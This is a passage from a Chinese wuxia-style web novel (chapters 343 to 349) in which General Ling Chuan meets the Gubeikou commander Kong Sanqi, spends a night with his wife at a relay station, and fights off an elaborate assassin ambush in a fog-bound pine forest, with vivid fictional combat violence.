明日就要离开北境,进入幽州地界。 凌川站在窗前,望着远处朦胧的山影,目光深邃,估计沿途那些蠢蠢欲动的牛鬼蛇神,也该陆续现身了。 翌日清晨,天蒙蒙亮时,两名亲兵便护送英子起程返回云州。 驿站外,大牛将妹妹扶上马车,说道:“英子,你在云州等我,哥很快就回来!” 英子用力点头,说道:“哥你也要保护好自己,保护好将军跟夫人!” 马车辘辘远去,扬起淡淡尘土…… 第一卷 第344章 古北口,孔三奇! 凌川等人则是在早饭后才动身,队伍整顿完毕,旌旗招展。 今日行程较远,约八十余里,需穿过幽州古北口,至古北县落脚。 离开北境后,气温明显升高,不少士兵已开始冒汗,纷纷解开领口,沿途景色也逐渐变化,山势越发陡峭,林木葱茏。 古北口位于幽州北面二百余里,乃是幽州北方门户,更是一处天险关隘。 历史上,北方草原部落多次攻破边境入关,却总被阻于古北口,铩羽而归。这里见证了无数血与火的厮杀,埋葬了不知多少将士的忠骨。 凌川只知古北口守将名叫孔三奇,率军两千驻守,其余一概不知。 洛青云依旧率五百精骑先行,持漠北节度府颁给凌川的通关文牒前往古北口。 距古北口不足十里时,一骑快马绝尘而来,骑兵翻身下马,单膝跪地:“禀将军,古北口守将孔三奇亲自出关相迎!” 这个消息让凌川颇感意外,毕竟与此人素未谋面,甚至与整个幽州军将领都无交集。对方如此热情,反倒让凌川心生警惕。 这时苏璃驱马来到身旁,轻声道:“这个孔三奇,我以前似乎听父亲提起过,但时间太久,记不清了……” “无妨,会一会便知!”凌川示意她宽心。 队伍行至古北口城关外,凌川不禁勒马驻足,抬头望去,心中惊叹:难怪此关能屡次挡住草原铁骑,果真是天险之地。 关城高耸,巍然屹立于两山之间的要道,城墙依山势而建,高达数丈,全部用巨大的青石砌成,历经风雨侵蚀而越发显得沧桑厚重。 城墙上箭垛密布,瞭望塔高耸,旗帜迎风招展,两旁皆是陡峭险峰,如刀削斧劈,根本无法绕行,关口狭窄,仅容五马并行,当真是一夫当关,万夫莫开。 关城之下,一名年约四十,身披狻猊吞海锁环甲的中年将领,率一众亲卫等候,那领头的想必就是孔三奇。 只见他大步上前,铠甲铿锵作响,对凌川抱拳道:“末将孔三奇,恭迎镇北将军大驾!” 凌川自不敢托大,毕竟论军职,二人乃是平级。 他翻身下马,动作干净利落,快步迎上:‘孔将军折煞我了,凌某万万当不起!”言语谦逊,却不失气度。 孔三奇相貌平平,却面带热情笑容,给人以亲切之感。 他走到凌川跟前,很是自然地搭着凌川的肩膀,笑道:“传闻凌兄弟不仅用兵如神,相貌更是堪比书中的翩翩公子。起初孔某还不信,今日一见,方知传言不虚啊!”说着重重拍了拍凌川的肩头。 这一夸倒让凌川有些不好意思,连忙道:“我此番借道本就叨扰将军,还劳您亲自出迎,实在受宠若惊。” “诶!’孔三奇拍拍凌川的肩膀,板起脸道,"弟这话可就见外了。你我虽素未谋面,但我孔三奇对你仰慕已久。莫说我,如今举国上下,谁人不知你的惊世战绩?"他的目光真诚,看不出丝毫虚伪。 正如孔三奇所言,自凌川被钦封为镇北将军的布告传遍各州县后,其名号虽未必家喻户晓,但在军中早已如雷贯耳。 二人相谈甚欢,并肩入关,孔三奇一路为凌川介绍关防布置,言谈间尽显豪爽。不知情者还以为他们是多年故交。 关内守军列队相迎,铠甲鲜明,纪律严明,可见孔三奇治军有方,凌川暗自点头,对此人多了几分好感。 孔三奇已命人设宴款待,凌川与苏璃被请入将军府,府邸并不奢华,却干净整洁,处处透着军人的简朴作风。 入府后,孔三奇令所有亲兵退下,关上厅门。 突然,他转身对苏璃单膝跪地,抱拳道:“末将孔三奇,见过大小姐!” 此举令凌川二人脸色顿变,苏璃更是无措地看向凌川,眼中满是疑惑。 “将军,您这是……”凌川同样愕然,忙上前搀扶,然孔三奇却跪地不起。 “二位有所不知……”孔三奇望着苏璃,沉声道,眼中泛起追忆之色,“我早年曾在苏大将军麾下效力,蒙受他的教诲和恩情。大将军待我如子侄,教我兵法武艺。后来为照料家中病重老母,不得不请调回幽州。临行前,大将军还赠我银两,助我安顿家小,岂料那一别竟是永诀!”他的声音哽咽,虎目含泪。 他继续道:“小姐或许不记得了,当年您才五六岁时,末将还为您驱过车呢!”孔三奇露出一丝温暖的笑容。 “孔将军快请起!”苏璃惶然道,连忙上前搀扶。 孔三奇这才起身,引二人入席,他为二人斟酒,动作恭敬,举杯道:“听闻苏大将军遇害的消息,末将心如刀绞,若非得知消息太晚,哪怕拼掉性命和前途,也要连夜赶往神都!”说罢将杯中酒一饮而尽,重重放下酒杯。 “孔将军有这份心,小女感激不尽,想必父亲在天之灵,也会欣慰的!”苏璃面露哀戚,声音轻柔。 孔三奇看向凌川,郑重道:“凌兄弟,孔某无能,大将军的冤屈就托付给你了!若有需要之处,尽管开口,孔某万死不辞!”他的目光坚定,带着军人的铮铮铁骨。 凌川郑重点头:“将军放心,凌川定当竭尽全力,还大将军一个公道!” 宴后又叙谈片刻,凌川便携苏璃告辞。 孔三奇亲自送他们出府,一路无话,但气氛却格外沉重。 “感谢孔将军盛情款待,我等需在天黑前赶到古北县,就此别过!”凌川抱拳道,目光中多了几分敬重。 孔三奇抱拳回礼,沉声道:“回了神都,代我向大将军坟前敬炷香!告诉他,旧部孔三奇,从未忘记他的恩情!” “一定!”凌川郑重应诺。 很快队伍再次起程,孔三奇站在关墙上相送,直到队伍消失在远处山道拐角。 路上,凌川问道:“娘子可曾想起这位孔将军?” 苏璃凝眉思索,轻声道:“确有些印象,但太过久远,只有模糊记忆。”她顿了顿,看向凌川,“怎么?相公觉得他有问题?” 凌川笑着摇头:“那倒没有!我看他言谈举止情真意切,不似作伪。而且他提及的一些细节,也不像编造的。” 苏璃解释道:“非是我以恶意揣度他人,实是此行凶险,不得不谨慎。神都那边的人,恐怕早已布下天罗地网。” 凌川温言道:“我深知娘子心地善良,绝非那般人,谨慎些总是好的!” 第一卷 第345章 暴雨突至! 晚霞如血,染红了天际,将整个古北县笼罩在一片暖金色的余晖中。 队伍一路前行,马蹄踏在青石板上发出清脆的声响,终于在日暮西斜时抵达古北县。 驿站在县城的东侧,是一座颇具规模的院落,此前孔三奇已派人知会军驿,因此凌川等人到来时,驿长早已率众驿卒在外迎候。 见到队伍旌旗,驿长急忙上前,恭敬行礼,脸上堆着殷勤的笑容。 住进驿站,凌川立即让洛青云和苍蝇组织人手三班换防,驿站不算很大,略微挤挤,也勉强能容纳这支队伍。 凌川特意嘱咐,要让士兵们保持足够的休息时间,毕竟明日还要继续赶路。 “将军,属下已经查过了,明日路程约六十余里,在南亭县落脚!”洛青云前来禀报。 凌川点头道:“辛苦了,你去休息吧!”说着拍了拍洛青云的肩膀。 当晚,驿站渐渐安静下来,只有巡夜士兵的脚步声偶尔响起。凌川躺在榻上,却觉内心躁动难安。 他侧身搂住苏璃,手指轻轻抚过她柔顺的长发,继而不安分地在她腰间游移。 苏璃知他所想,俏脸微红,娇嗔道:“相公,这是在驿站,让人听见多不好……”她的声音轻柔如羽,带着几分羞怯。 “没事!”凌川低笑,气息拂过她的耳畔,“我让他们布防的时候,把哨卡设得远了些,听不见的!”他的手指继续探索着,感受着怀中人微微颤抖的身躯。 苏璃羞得将脸埋进他怀中,柔声道:“那,那你动作小点……” 话音未落,凌川已一挥衣袖将油灯扫灭,黑暗中只余两人渐重的呼吸声。 他翻身压上,小心地不让自己的身躯完全压住她,苏璃轻哼一声,双臂环上他的脖颈,窗外月光如水,透过窗棂洒入屋内,映出两人交叠的身影。 “嘎吱嘎吱……”老旧的木床随着他们的动作发出抗议的声响。 苏璃眉头一皱,一把紧箍凌川的腰,羞涩道:“相公,这床,这床怎么这么响?” 凌川低笑,凑到她耳边,温热的气息拂过她的耳垂:“要不?咱们到床下?”他的声音带着几分试探。 苏璃满脸惊愕,“啊?床下,也可以吗?”若不是黑暗中,定能看到她一张脸都红到了脖子根。 她的心跳如擂鼓,羞涩中又带着一声声的期待。 “试一试吧,说不定娘子会喜欢呢!”凌川的声音里满是宠溺。 “相公真坏!”苏璃轻捶他的胸口,却并无多少抗拒之意。 一炷香之后,二人重新回到床上,相拥进入了梦乡。 次日,凌川跟往常一样早早起床。 晨光微熹中,他已在院中晨练。 尽管是在赶路途中,凌川却没有放弃提升自己的实力,一片密集的枪影之中,他的身影如游龙般矫健,这些日子以来,无论是自身实力还是刀法、枪术都提升了不少。 今日赶路,苏璃并未像前几日那般骑马,而是坐于马车之中,她的脸颊仍带着昨夜的红晕,眼波流转间满是柔情。 午后,空气变得异常燥热,天空也逐渐阴沉下来,乌云如墨般汇聚。 一股若有若无的压抑感笼罩而来,连战马都显得有些焦躁不安。 苍蝇驱马来到凌川身边,眉头紧锁:“将军,看样子是要下雨了!” 凌川抬头看了看天色,点头问道:“距离南亭县还有多远?” “还有二十余里!” “让洛青云探查一下,附近可有避雨之处!” “是!”苍蝇领命而去,马蹄声急促。 南亭县以北二十里处,官道需穿过一片茂密的松林,这里的松树皆有百年树龄,枝繁叶茂,遮天蔽日。 地上积着厚实的松针,足有两尺厚,踩上去软绵绵的,散发出一股腐烂的味道。 传言林中有一头恶鬼,专索路过之人的性命,这些年来,已经有不下百人丧命于此,甚至连尸首都无人敢去寻找,南亭县官兵曾多次组织清剿,却每次都无功而返。 平日里哪怕是大白天,也很少有人敢独自穿行,大多是结伴而行,而每逢下雨,林中必会升起浓密雾气,将方圆十里笼罩,显得尤为阴森可怖。 故此,当地人称此地为雾松林。 “咔嚓……” 一道刺目闪电划破黑沉沉的天空,滚滚惊雷仿佛是上天的怒吼,让大地都为之震颤。 不消片刻,豆大的雨点倾泻而下,很快就连成一片雨幕。 官道顿时变得泥泞不堪,雾松林中也升腾起浓郁的雾气,很快便将这片偌大的松林笼罩,雾气与雨水交织,为这片松林平添了几分压抑与诡异。 此时,凌川的队伍已经来到雾松林之外,洛青云的五百骑分列两侧,虽然士兵们的铠甲鳞片紧密,但也无法完全挡住暴雨,战马在雨中显得焦躁不安,不时甩动着鬃毛,溅起一片水花。 “将军,附近并无避雨之所,而这片松林被大雾笼罩,属下担心有危险,请将军就地等待,属下带人先去探路!”洛青云顶着暴雨前来禀报,雨水顺着他的铠甲流淌。 凌川抬头看了一眼阴沉天空,沉声道:“这雨一时半会估计停不了,让大家继续赶路,尽快到南亭县休整!”他自然知道这种环境暗藏凶险,但更明白士兵们长时间淋雨极易引发伤寒。 “是!”洛青云拱手领命,立即转身传达命令。 五百精骑率先进入雾松林,凌川的车队走在中间,除了苏璃的马车之外,还有十来辆盛装物资的马车,亲兵队则跟在后面。 队伍缓缓进入雾松林,随着不断深入,迷雾越来越浓,加上密集的雨点,目之所及不过二十步距离,仿佛置身于一片灰白色的混沌之中。 沈珏与聂星寒二人悄然来到凌川身边,一左一右与之同行,二人皆是满脸凝重之色,手始终按在兵器上,警惕地注视着四周。 苍蝇与孟钊二人则是分列于苏璃乘坐的马车两旁,赶车的翠花也感受到了这股压抑的气氛,本就自带凶相的脸庞上平添了几分杀气,一双虎目不断扫视着浓雾中的动静。 一炷香之后,队伍行至雾松林中段,这里雾气最浓,十步开外都只能看到模糊轮廓,只能依靠前方传来的马蹄声判断方向。 第一卷 第346章 雾松林截杀! “咔嚓……” 又是一道惊雷炸响,震得人耳膜发痛,所有人都下意识地缩了缩脖子。 而就在此时,一道道令人心颤的声音自两侧松林之中传来,只见官道两侧那数十棵需双人合抱的古松竟然同时朝着路中间倾倒下来。 那场面排山倒海,在阵阵惊雷之下,尤为骇人。 粗壮的树干带着呼啸的风声砸下,顿时传来一阵阵惨叫和战马嘶鸣。 不少士兵被大树砸中,战马也被砸中绊倒,现场一片混乱。 “戒备!”洛青云大喝一声,第一时间拔出战刀。 他的声音在雷雨声中显得有些微弱,却带着不容置疑的威严。 好在这些五百精骑皆是身经百战的老卒,哪怕是遭遇这种突发局面,也能迅速稳住心神,许多人顾不得被压住的战马以及受伤的同伴,迅速起身戒备,战刀出鞘声不绝于耳。 与此同时,中段的车队也是一片狼藉,半数以上的马车被倾倒下来的树干砸碎,不少辕马也被压得倒下。 车队后方的亲兵队也遭遇了同样的局面,不少亲兵连同战马被大树砸中,或是被倾覆而下的树干压住身体,士兵的惨叫声与战马嘶鸣声在雨中交织,令人心悸。 凌川所在的中段同样如此,十余根粗大松树倒下,好在凌川等人身手敏捷,加之胯下良驹颇具神性,躲避及时,这才没有被砸中。 然而,就在此时,身后一根水桶粗的松木却径直朝着苏璃所在马车压了下来。 那树干带着千钧之势,若是砸中,饶是这马车坚固异常,也断然承受不住! 凌川大惊失色,可眼下这局面,他想要营救都来不及,只能眼睁睁看着那巨木落下。 就在这千钧一发之际,翠花那魁梧的身姿猛然站起,只见她伸出双臂,竟硬生生将那根缓缓倒下的松木接住! 就在她双臂接触到树干的瞬间,两匹辕马不堪重负,发出一声凄厉的嘶鸣,随即前腿双双跪地,车轮更是因重压陷入泥泞的路面达半尺之深。 翠花面容扭曲,双臂之上青筋暴起,宛如虬龙盘绕,她的腰肢被压得弯曲,浑身肌肉紧绷,眼看就要被树干压垮。 “翠花,发生何事?”车内传来苏璃的惊呼声,带着明显的慌乱。 “夫人勿慌,没事!”翠花吃力地从牙缝中挤出几个字,每一个字都仿佛用尽了全身力气。 “啊……” 只见她暴吼一声,那弯下的腰躯竟然缓缓直立而起,随即双手猛地发力,将那根松木举起,朝着一旁推开。 伴随着一声巨响,那巨木重重摔在地上,溅起一片泥水。 翠花也累得脸色发白,大口喘着粗气,一屁股重重坐在车辕之上,一身铠甲都被雨水和汗水浸透。 苏璃掀开车帘,被眼前的一幕彻底惊呆了,只见四周倒木横陈,雾气弥漫,宛如末日景象。 “娘子,没事吧?”前方不远处传来凌川的声音,带着明显的焦急。 虽然相隔不远,但两侧倒下的横木和树枝彻底将他们分隔开来,再加上浓密翻滚的迷雾,他们根本看不到彼此的存在。 “相公我没事!”苏璃回答道,声音中充满了担忧。 “翠花,你务必保护好夫人,孟钊你去将军身边,我整顿人马赶来!”苍蝇对身旁的翠花和孟钊喊道,声音在雨声中显得有些模糊。 “放心吧!”翠花重重点头,迅速操起双刀。 孟钊点了点头,拔出腰间战刀,身形一跃,踩踏着横卧在官道之上的树干,如灵猿般朝着凌川那边而去。 “相公,你千万小心!”苏璃担忧地喊道。 凌川缓缓拔出腰间战刀,刀身在雨中泛着冷光:“娘子放心待在车里,切莫出来!”他的声音沉稳有力,带着让人安心的力量。 苍蝇来到马车后方,开始整顿亲兵队的人马;前方,洛青云一行损失惨重,他顾不得整顿队伍,大喊一声:“能行动的下马跟我走!” 然而,无论是洛青云的五百精骑,还是苍蝇的亲兵队,与凌川都相隔了一段距离。再加上倾倒在官道上的树木让他们寸步难行,战马更是不可用,导致他们无法快速赶到凌川身边。 中段位置,凌川与聂星寒和沈珏三人也都翻身下马,背靠背站立,警惕地凝视着两侧被迷雾笼罩的树林。 凌川与沈珏战刀在手,神色凝重,聂星寒则是搭箭上弦,将铁胎弓拉至满弦,双臂稳如磐石,一动不动。 “将军,您没事吧?”赶来的孟钊开口问道,声音因奔跑而有些喘息。 凌川微微摇头,但神色却无比凝重,他隐约感受到一道道浓郁的杀气正在快速袭来,如同无形的网正在收紧。 “大家小心!”凌川沉声提醒道,握刀的手又紧了几分。 “咻……” 一道破空声响起,聂星寒松开弓弦,铁箭穿透层层雨幕射向树林的迷雾之中。 紧接着,一道闷哼传来,一团迷雾剧烈涌动,隐约间能看到一道黑影倒下。 然而,聂星寒并未就此停手,而是迅速从箭壶中抽出三支铁箭,搭在弓弦之上,动作行云流水,没有丝毫迟疑。 与此同时,树林中人影闪动,数十道身影从两侧袭来,宛如一头头在雨中奔跑的恶狼,他们眼中的杀意穿透雨幕,死死锁定在凌川身上。 “咻咻咻……” 伴随着弓弦颤动,三支铁箭飞射而出,两道黑影应声倒下,剩余那支却被对方敏捷地避开。 然而,这刹那的功夫,两侧的身影也已经扑到近前。 他们一个个身手矫健,宛如灵猿,那些倒在地上横七竖八的树干对他们行动造成的影响并不大。 冲在最前面那人身形一跃而起,手中利刃在雨中闪着寒光,直刺凌川面门。 “杀……” 凌川冷喝一声,手中战刀横扫而出,这一刀精准地避开对方刺来的利刃,直接将其枭首。 “噗……” 一抹鲜血飞洒而出,那颗头颅与身体分开,掉落在乱木之上,双目圆睁,似乎不敢相信自己的死亡。 战刀之上,滴血未染,只有那一道道赤色纹路异常生动,仿佛要活过来一般。 同一时间,孟钊与沈珏二人也动了,朝着不同方向迎敌。 雨幕中寒芒闪烁,不时传来兵器碰撞声,一朵朵火星在雨中绽放,转瞬即逝。 就在凌川解决掉第一名敌人的同时,又是两人迎面袭来。 第一卷 第347章 精心布置的杀局! 他们手中皆是一种制式长刀,样式并无奇特之处,但却比普通长刀长了三四寸,闪着冰冷的寒芒。 凌川不退反进,又是一刀横扫,苍生刀带着破空之声,直接将疾刺而来的两把长刀斩断! 他手中这把苍生刀乃是杨铁匠用赤络星陨用了二十多天打造而成,锋利无比,一般的兵器在它面前就跟朽木没什么区别,轻易便被斩断。 然而,哪怕被斩断兵器,二人也没有后退的意思,继续扑向凌川,眼神疯狂而决绝。 “嗤……” 凌川一刀刺穿其中一人的胸膛,同时另一只手反扣住另一人的手腕,用他手中的断刀划开了那人的咽喉。 顷刻间解决掉三人,可后方还有源源不断的黑衣人扑来,他们一个个身形灵敏如猿猴,几个闪烁便已经杀到近前。 而且,这些人一个个眼神中只有冰冷的杀意和对生命的漠然,似乎根本不知死亡为何物,很显然,这些黑衣人的身份应该是训练有素的杀手或死士。 好在凌川等人身披铠甲,在防御方面提升了好几个档次,就这种战刀的劈砍,根本无法破开铠甲的防护。 聂星寒手中铁胎弓的弓弦不断颤动,每次都是三箭连发。 虽受暴雨和大雾的影响,偶尔会被避开或落空,但大部分依然命中敌人,由此可见其箭术之惊人,不负聂氏一族的神射手之名。 孟钊与沈珏二人同样面对着悍不畏死涌来的杀手。 好在二人实力过硬,孟钊乃是南系军中摸爬滚打出来的百战之卒,刀法狠辣凌厉;而沈珏则是师从浪里刀,刀法卓绝,每一刀都带着独特的水流般的柔韧与变化。 首尾两端,洛青云与苍蝇发现,想要带人翻越这些乱木非常困难,于是,他们直接下令大家冲进两侧的树林,试图绕行过去救援。 然而,进入密林之后,顿时传来阵阵惨叫。 显然,对方早就料到了这一点,在密林之中设下了机关陷阱,箭矢从暗处射来,陷阱坑洞被落叶巧妙掩盖,绊索在雨雾中几乎看不见。 不得不说,对方为了布置这场刺杀,可谓是将天时地利运用到了极致。 先是利用暴雨和浓雾遮蔽视线,然后伐断两侧巨树,阻挡去路的同时,还将这一千人的队伍彻底分隔开来。 当然,此举还有一个更为重要的作用,那就是让骑兵彻底丧失机动性。 同样,他们也算准了首尾护卫会回援,但官道被成片大树阻断,最快的办法便是从林中绕行,故此,早在林中设下重重机关陷阱。 尽管洛青云的手下和苍蝇的亲兵都身披铠甲,但还是有好几人当场丧命,虽然有了防备,可以事先用各种办法破除这些机关,但回援速度无疑大打折扣。 而杀手们,便是要利用这段时间干掉凌川。 可以说,对方从一开始便将所有环节都算死了,至于这场暴雨,是老天相助,还是对方同样能算准天气,那就不得而知了。 事实上,不光是凌川等人被围攻,苏璃所在的马车同样遭到了围攻。只见翠花手持两把环首大刀立于车辕之上,宛如门神,但凡靠近者,皆是被她一刀秒杀。 甚至其中大部分都是被力劈或腰斩,死无全尸。鲜血染红了马车周围的泥地,又被雨水冲刷,形成一道道淡红色的溪流。 此外,十多名亲兵也率先赶到了马车周围,一个个手持战刀,将马车围得密不透风,那些杀手固然疯狂,但却未能触碰到马车分毫。 当然,局势最危险、战斗最激烈的,还得属凌川这边。 顷刻间便有十多名杀手命丧当场,但那些杀手依旧前赴后继,冲上前来,他们的尸体在凌川周围堆积,鲜血与雨水混合在一起,形成一片血泊。 聂星寒很快便射空了一支箭壶,他毫不犹豫地打开第二个箭壶,继续开弓放箭,仿佛全然不知疲惫一般。 军中一般人只配一只箭壶,里面是三十支铁箭,唯独聂星寒一人配三只箭壶。 洛青云与苍蝇各自带着队伍赶去支援,一开始的时候,还尝试着去破除那些机关,可很快二人发现这样的推进速度实在是太慢,二人心系将军安危,不得已,只能让人往前冲,以自身为引触发这些机关。 此举虽然效果显著,但每一步都是用士兵的性命在开路,惨叫声不时从林中传来,每一声都让洛青云和苍蝇心如刀绞。 二人作为将领,看着手下人惨死,自然是痛苦万分,但他们更明白,没有什么比将军的安全更重要。 为了守护将军的安全,没有什么是不能舍弃的,包括自己的性命。 而凌川这边,他已经斩杀了十余名杀手,孟钊与沈珏也斩杀了七八人,当然,杀敌最多的还得是聂星寒,迄今为止,至少有三十人死在他的箭下。 “小心!”忽然,聂星寒惊呼一声,调转箭尖对准凌川这个方向,一箭射出。 那支铁箭几乎是贴着凌川的耳畔飞过,他甚至能听到铁箭划破空气的呼啸声,感受到箭羽拂过脸颊的细微触感。 “噗……” 凌川侧后方传来一声轻响,只见一名黑衣杀手被一箭贯穿咽喉,仰面倒地,眼中还带着难以置信的神色。 虽然这名杀手被解决,可凌川却忽然感觉浑身冰凉。 那是一种本能的直觉,仿佛有一头嗜血猛兽将自己锁定,下一秒就会扑上来将自己撕碎一般。 只见他猛然转身,一刀横扫而出,刀光如匹练般洒向身后。 “叮!”一道金铁交鸣声传来,火星四溅。 可等凌川转身的时候,那道黑影已经消失不见,仿佛从来都没有出现过,雨幕中只余下一缕若有若无的杀气。 凌川顿时一惊,他从未见过如此迅捷而诡异的身法,这绝不是普通的杀手,而是真正的高手! 可就在这刹那间,一把细窄长剑在他后方诈现,宛如毒蛇的獠牙一般,直刺凌川的后心,这一剑悄无声息,却快如闪电,带着致命的寒意。 就在这千钧一发之际,凌川猛然侧身,险而又险地避开了这一剑,那细窄长剑几乎是贴着他的铠甲划过,在铁甲上留下一道浅浅的白痕。 与此同时,凌川仰面一刀刺出,这一刀快如闪电,势如奔雷,直奔那黑衣男子的胸口而去。 第一卷 第348章 一棒撂倒! 那杀手中等身形,面颊无肉,一双三角眼在雨幕中闪烁着毒蛇般的冷光。 尽管战刀还插在他的胸口,他却咧嘴露出一个残忍的笑容,两排被鲜血染红的牙齿在灰暗光线下格外骇人。 凌川试图拔刀,却发现刀身仿佛被铁钳死死咬住,杀手脸上的笑容越发狰狞,似乎正在享受这刻骨铭心的痛楚。 凌川眼中寒芒暴涨,手腕猛然发力旋转刀柄,伴随着令人牙酸的骨骼碎裂声,杀手的胸口被硬生生绞碎,血肉混合着内脏碎片喷涌而出。 战刀终于挣脱束缚,带出一蓬模糊的血肉。 可就在这个空档,破空声自身后袭来。 凌川猛地转身,只见雨幕中一道黑影如鬼魅般扑来,单脚在树枝上轻点,身形矫健得不似人类。 那人左手微抬,袖口中寒芒一闪,一枚细长钢针撕裂雨幕,悄无声息地直取凌川眉心。 钢针来势极快,几乎微不可察,死亡的寒意瞬间笼罩凌川全身。 “叮!” 千钧一发之际,一支铁箭破空而至,精准击中钢针,将其震飞开去。聂星寒站在二十步外一棵树下,弓弦仍在颤动,眼神冷峻如冰。 然而危机接踵而至。那黑影手中的细窄长剑已然刺到,剑尖撕裂雨滴,直指凌川心口,速度快得令人窒息。 “滚!” 如惊雷般的暴吼炸响,大牛不知何时已经赶到,手中抡着一根大腿粗的木头,带着呼啸风声猛然砸下。这一棍势大力沉,仿佛连雨水都被劈开一条通道。 “砰!” 木头结结实实砸在杀手身上,骨骼碎裂声清晰可闻,那人如断线风筝般从空中坠落,重重摔在泥泞中,溅起大片泥水。 他还想挣扎起身,大牛的第二棍已经携着雷霆万钧之势落下,这一棍精准砸在天灵盖上。 头骨碎裂的声响令人毛骨悚然,杀手七窍流血,眼球暴突,当场毙命,死状极其惨烈。 “将军,俺来了!”大牛喘着粗气,站在凌川身前宛如一尊铁塔,雨水顺着他刚毅的脸庞流淌而下,眼中闪烁着坚定的光芒。 凌川微微点头,目光却依然警惕地扫视四周,雨越下越大,林间雾气越发浓郁,能见度已不足三丈,他握紧手中战刀,浑身神经紧绷,知道这场伏击远未结束。 “还不错,竟能杀这么多人!” 一道冰冷的声音自上方传来,仿佛与雨点一同坠落,带着令人窒息的压迫感。 凌川猛然抬头,只见一道身影头戴斗笠,立于两丈余高的树桩之上,居高临下地审视着凌川。 那人的面容隐藏在斗笠阴影下,只能看到一抹毫无血色的薄唇和线条冷硬的下巴,他周身散发着如有实质的杀气,连周围的雨点仿佛都避让开来。 没有多余的问答,那人单脚在树桩上轻轻一点,身形如鬼魅般飘然而下,竟似不受重力束缚,轻飘飘地直扑凌川。 这一扑看似缓慢,实则却带着一股巨大的压迫感,甚至还给人一种极其诡异的视觉错乱感。 “咻……” 聂星寒再次射出一箭,铁箭撕裂雨幕,带着尖啸直取空中那人心口。 然而那人却不慌不忙,随手摘下斗笠掷出,斗笠在空中急速旋转,卷起一圈螺旋状的水花,精准迎上铁箭。 “噗!” 斗笠应声炸裂,但铁箭也被带偏方向,斜飞向远处。 大牛怒吼一声,抡起手中那根大腿粗的木头,将其当成没有枪头的巨枪,猛地朝对方戳去,后者嘴角露出一抹不屑的冷笑,伸手往腰间一探,一道寒芒如毒蛇出洞般迸射而出。 “咔嚓!” 木头应声而裂,竟被从中一分为二,大牛双手虎口崩裂,鲜血淋漓,踉跄着后退两步,脸上写满惊骇。 凌川目光凝重如铁,心中震惊丝毫不亚于大牛,他早就知道世间有凌驾于沙场武夫之上的高手,但此人的实力恐怕还在他预期之上。 那人如鹰隼一般,从半空俯冲而下,带着凌厉的压迫感朝凌川袭来,长剑出鞘的刹那,剑光如毒蛇吐信,一股寒意如潮水般扩散开来。 霎时间,所有雨点都改变了方向,随着这一剑朝凌川袭来。 这看似微不可察的变化却让凌川头皮发麻,那一剑仿佛带着某种诡异的力量,影响了这片雨幕。 在他的感知中,那些雨点已经不再是雨点,而是一把把淬毒的利剑。 空气仿佛在这一刻凝固,时间变得缓慢无比,那一剑距离凌川的眉心只有三尺,剑尖上的寒芒刺痛了他的眼睛。 生死一线间,凌川猛然爆发,手中战刀一记逆浪分蛟向上撩起,全身力量灌注其中。 “当!” 震耳欲聋的金铁交鸣声响彻全场,男子手中长剑被一刀震得向上扬起,这一声仿佛打破了无形结界,那些斜飞而来的雨点瞬间自然垂落。 男子在空中一个灵巧翻身,轻飘飘落地,立在数丈外一根横卧的树干上,他眼中闪过一抹惊讶,手中长剑颤鸣不止。 “有点意思!”黑衣男子嘴角勾起一抹残忍的冷笑,仿佛猎手发现了值得一玩的猎物。 随即,他脚尖在树干上轻轻一点,身形如鬼魅般再次袭来,顷刻间,雨幕中数道剑影闪现,虚实难辨,从各个诡异角度刺向凌川。 凌川毫不畏惧,迎上去与对方硬撼三刀,刀剑相交,火花四溅,震得周围雨点纷飞,每一次碰撞都震得凌川虎口发麻,但他咬牙坚持。 后者手中长剑颤鸣不止,剑身上更是出现几道细微缺口,能与凌川的宝刀硬憾数次而不断裂,可见其亦非凡品。 他整条手臂也被震得酸麻,他内心暗惊这沙场武将的力量之大,随即改变策略,凭借诡异身法绕到凌川侧翼,长剑如毒蛇出洞,直取凌川脖颈。 凌川险之又险地偏头躲过,剑锋擦着铠甲划过,带起一溜火花,他回手一刀劈向对方面门,却被轻巧躲过。 两人在雨中激烈交锋,刀光剑影交织成一幅生死画卷,黑衣男子的剑法刁钻狠辣,专攻要害,每一剑都带着致命杀机。 凌川则凭借丰富的战斗经验,总能在千钧一发之际化解危机,大开大合之下也让对方难以占到先机。 第一卷 第349章 不过如此! 凌川心知久战不利,故意卖了个破绽,一刀横扫而出,刻意放缓了半分速度,果然,这一刀被对方轻易避开。 对方眼中精光一闪,趁着凌川胸门大开之际,一剑直刺他心口。 这一剑快如闪电,凌川避无可避,只能寄希望于铠甲上的护心镜。 “叮!” 剑尖击中护心镜,发出一声尖锐刺耳的声响,剑身弯曲成一个惊心动魄的弧度,却未能刺穿护心镜。 凌川只觉胸口如遭重击,闷哼一声,强忍剧痛反手一刀横扫。 黑衣男子神色一惊,没想到凌川的铠甲如此坚固,急忙抽身后退。 就在此时,孟钊和沈珏同时从两侧杀到,这正是凌川刚才用手势传递的信号。 男子脸色大变,挥剑挡住孟钊势大力沉的一刀,剑刃相交迸出耀眼火花。 可沈珏快如闪电的三刀接踵而至,刀光如织成一张死亡之网,封住了他所有退路,他勉强躲过前两刀,第三刀却在他肋下划出一道深可见骨的伤口。 鲜血顿时喷涌而出,浸湿了他的黑衣,就在他因剧痛而分神的刹那,大牛再次捡起一根木头,一记横扫结结实实地砸在他的后背上。 “砰”的一声闷响,伴随着清晰的骨骼碎裂声,男子口中喷出一口鲜血,身体不受控制地向前扑去。 眼看他就要摔倒在地,却凭借惊人的身形,手中长剑在地面一点,身形一个翻转,竟然踉跄着站稳。 男子强忍体内翻涌的气血和背后剧痛,抹去嘴角血迹,冷笑道:“不过如此!” 话音刚落,他身体猛然僵住,脸上那抹不屑的笑容瞬间凝固。 “嗤……” 一把暗金色战刀从他后心刺入,刀尖穿透胸膛,鲜血如泉涌出。 “不过如此!”凌川冰冷的声音自身后传来,他早已预判了对方的落点,这一刀悄无声息却致命无比。 战刀拔出,男子的身体缓缓倒下,眼中满是不可置信,最终凝固成死灰般的颜色。 “杀……” 就在此刻,两旁的丛林之中响起震天喊杀声,苍蝇和洛青云率领的援兵终于赶到。 在匣子弩这件近战杀器面前,那些杀手根本没有反抗之力,顷刻间便被干掉大半。 那些还在负隅顽抗的杀手见状,顿时阵脚大乱,试图撤离却发现退路已被完全封锁。 “将军,您没事吧!”浑身湿透的苍蝇满脸焦急地冲上前来,声音因紧张而嘶哑。 “我没事!”凌川摇了摇头,目光扫过战场,“尽快解决战斗!” 说完,他快步朝着苏璃所在的马车赶去,沈珏、孟钊和大牛迅速跟上。 来到马车跟前,饶是身经百战的凌川也不禁倒吸一口凉气。 